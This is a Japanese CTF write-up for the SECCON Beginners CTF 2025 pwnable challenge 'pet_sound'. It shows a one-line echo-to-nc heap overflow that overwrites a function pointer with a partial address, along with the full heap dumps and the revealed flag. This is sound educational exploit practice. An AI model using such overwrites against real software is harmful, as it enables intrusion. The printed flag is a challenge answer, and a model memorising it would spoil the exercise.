目的
今年も*1会社の同好会でSECCON Beginners CTF 2025に参加! 珍しく2問以上,解けました! 忘れないうちにwriteup書いておく!
この記事は,pwnableのpet_sound.

ほか
- reversing CrazyLazyProgram1のwriteup@SECCON Beginners CTF 2025
- reversing CrazyLazyProgram2のwriteup@SECCON Beginners CTF 2025
- reversing D-compileのwriteup@SECCON Beginners CTF 2025
| 名称 | 規格 | 製造会社 | 備考 |
|---|---|---|---|
| オペレーティングシステム(ホスト側) | Windows 10 Pro 64ビット,22H2 | マイクロソフト | インターナショナル版 |
| 仮想化ソフトウェア | VirtualBox,7.0.10 | Oracle | |
| オペレーティングシステム(ゲスト側) | Kali Linux,2024.2 | Offensive Security |
結論
nc pet-sound.challenges.beginners.seccon.jp 9090でアクセスして,Input a new cry for Pet A >と入力待ちになるので鳴き声を与えるというもの.入力した文字がヒープ領域に入力されていく.下記実行例は1を32文字入れている:
$ nc pet-sound.challenges.beginners.seccon.jp 9090 --- Pet Hijacking --- Your mission: Make Pet speak the secret FLAG! [hint] The secret action 'speak_flag' is at: 0x5cefd96d0492 [*] Pet A is allocated at: 0x5cf009f4b2a0 [*] Pet B is allocated at: 0x5cf009f4b2d0 [Initial Heap State] --- Heap Layout Visualization --- 0x00005cf009f4b2a0: 0x00005cefd96d05d2 <-- pet_A->speak 0x00005cf009f4b2a8: 0x00002e2e2e6e6177 <-- pet_A->sound 0x00005cf009f4b2b0: 0x0000000000000000 0x00005cf009f4b2b8: 0x0000000000000000 0x00005cf009f4b2c0: 0x0000000000000000 0x00005cf009f4b2c8: 0x0000000000000031 0x00005cf009f4b2d0: 0x00005cefd96d05d2 <-- pet_B->speak (TARGET!) 0x00005cf009f4b2d8: 0x00002e2e2e6e6177 <-- pet_B->sound 0x00005cf009f4b2e0: 0x0000000000000000 0x00005cf009f4b2e8: 0x0000000000000000 0x00005cf009f4b2f0: 0x0000000000000000 0x00005cf009f4b2f8: 0x0000000000020d11 --------------------------------- Input a new cry for Pet A > 11111111111111111111111111111111 [Heap State After Input] --- Heap Layout Visualization --- 0x00005cf009f4b2a0: 0x00005cefd96d05d2 <-- pet_A->speak 0x00005cf009f4b2a8: 0x3131313131313131 <-- pet_A->sound 0x00005cf009f4b2b0: 0x3131313131313131 0x00005cf009f4b2b8: 0x3131313131313131 0x00005cf009f4b2c0: 0x3131313131313131 0x00005cf009f4b2c8: 0x000000000000000a 0x00005cf009f4b2d0: 0x00005cefd96d05d2 <-- pet_B->speak (TARGET!) 0x00005cf009f4b2d8: 0x00002e2e2e6e6177 <-- pet_B->sound 0x00005cf009f4b2e0: 0x0000000000000000 0x00005cf009f4b2e8: 0x0000000000000000 0x00005cf009f4b2f0: 0x0000000000000000 0x00005cf009f4b2f8: 0x0000000000020d11 --------------------------------- Pet says: 11111111111111111111111111111111 Pet says: wan... munmap_chunk(): invalid pointer Aborted (core dumped)
[hint]にあるとおり,<-- pet_B->speak (TARGET!)と表示されている箇所を書き換えられればOKと見える.TARGET!に入力文字が反映されるのは41文字目(=41バイト目から)とわかる.ただし,speak_flagのアドレスは実行するごとに少し変動するし,そもそもASCII文字以外の入力は通常のキーボード入力ではできない.
ちょっと実行した感じで,speak_flagはこんな変動だった:
- 'speak_flag' is at: 0x5cefd96d0492
- 'speak_flag' is at: 0x5743adcd5492
- 'speak_flag' is at: 0x5e62e0b90492
末尾が0x492になるぽく見えるので,そのあたりをなんとかして入力として与えたい.Pythonなどでプログラム作るのが順当と思うが,パパッと作れるスキルがあまりないので,パイプで渡せばいいのでは? という発想に至る.
1バイトごとに渡すとして,とりあえず0xe492を入力することにした(入力順として92,e4となることに注意).5回くらい実施したところ,以下のパターンでフラグが出てきた:
$ echo -n '\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x92\xE4' | nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x64e85b20e492
[*] Pet A is allocated at: 0x64e8603852a0
[*] Pet B is allocated at: 0x64e8603852d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x000064e8603852a0: 0x000064e85b20e5d2 <-- pet_A->speak
0x000064e8603852a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x000064e8603852b0: 0x0000000000000000
0x000064e8603852b8: 0x0000000000000000
0x000064e8603852c0: 0x0000000000000000
0x000064e8603852c8: 0x0000000000000031
0x000064e8603852d0: 0x000064e85b20e5d2 <-- pet_B->speak (TARGET!)
0x000064e8603852d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064e8603852e0: 0x0000000000000000
0x000064e8603852e8: 0x0000000000000000
0x000064e8603852f0: 0x0000000000000000
0x000064e8603852f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A >
[Heap State After Input]
--- Heap Layout Visualization ---
0x000064e8603852a0: 0x000064e85b20e5d2 <-- pet_A->speak
0x000064e8603852a8: 0x3837363534333231 <-- pet_A->sound
0x000064e8603852b0: 0x3837363534333231
0x000064e8603852b8: 0x3837363534333231
0x000064e8603852c0: 0x3837363534333231
0x000064e8603852c8: 0x3837363534333231
0x000064e8603852d0: 0x000064e85b20e492 <-- pet_B->speak (TARGET!)
0x000064e8603852d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064e8603852e0: 0x0000000000000000
0x000064e8603852e8: 0x0000000000000000
0x000064e8603852f0: 0x0000000000000000
0x000064e8603852f8: 0x0000000000020d11
---------------------------------
Pet says: 1234567812345678123456781234567812345678�� [�d
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
ということで,フラグは以下のとおり:
ctf4b{y0u_expl0it_0v3rfl0w!}
you exploit overflow!